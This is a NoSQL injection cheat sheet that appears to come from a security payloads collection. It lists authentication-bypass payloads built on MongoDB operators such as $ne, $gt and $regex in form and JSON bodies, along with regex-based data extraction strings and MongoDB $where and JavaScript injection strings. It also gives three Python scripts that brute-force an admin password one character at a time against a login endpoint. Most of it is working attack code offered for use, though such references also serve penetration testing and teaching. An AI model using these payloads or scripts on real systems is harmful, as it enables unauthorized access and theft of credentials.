NoSQL injection

> NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Summary

Tools

- NoSQLmap - Automated NoSQL database enumeration and web application exploitation tool
- nosqlilab - A lab for playing with NoSQL Injection

Exploit

Authentication Bypass

Basic authentication bypass using not equal ($ne) or greater ($gt)

```
in DATA
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto

in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
```

Extract length information

```
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
```

Extract data information

```
in URL
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```

Extract data with "in"

```
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":
{"$gt":""}}
```

Blind NoSQL

POST with JSON body

```
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' %
(username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False,
allow_redirects = False)
            if 'OK' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c
```

POST with urlencoded body

```
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/x-www-form-urlencoded'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|','&','$']:
            payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False,
allow_redirects = False)
            if r.status_code == 302 and r.headers['Location'] == '/dashboard':
                print("Found one more char : %s" % (password+c))
                password += c
```

GET

```
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username='admin'
password=''
u='http://example.org/login'

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|', '#', '&', '$']:
      payload='?username=%s&password[$regex]=^%s' % (username, password + c)
      r = requests.get(u + payload)
      if 'Yeah' in r.text:
        print("Found one more char : %s" % (password+c))
        password += c
```

MongoDB Payloads

```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
```

```
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
```

References

- Les NOSQL injections Classique et Blind: Never trust user input - Geluchat
- Testing for NoSQL injection - OWASP
- NoSQL injection wordlists - cr0hn
- NoSQL Injection in MongoDB - JUL 17, 2016 - Zanon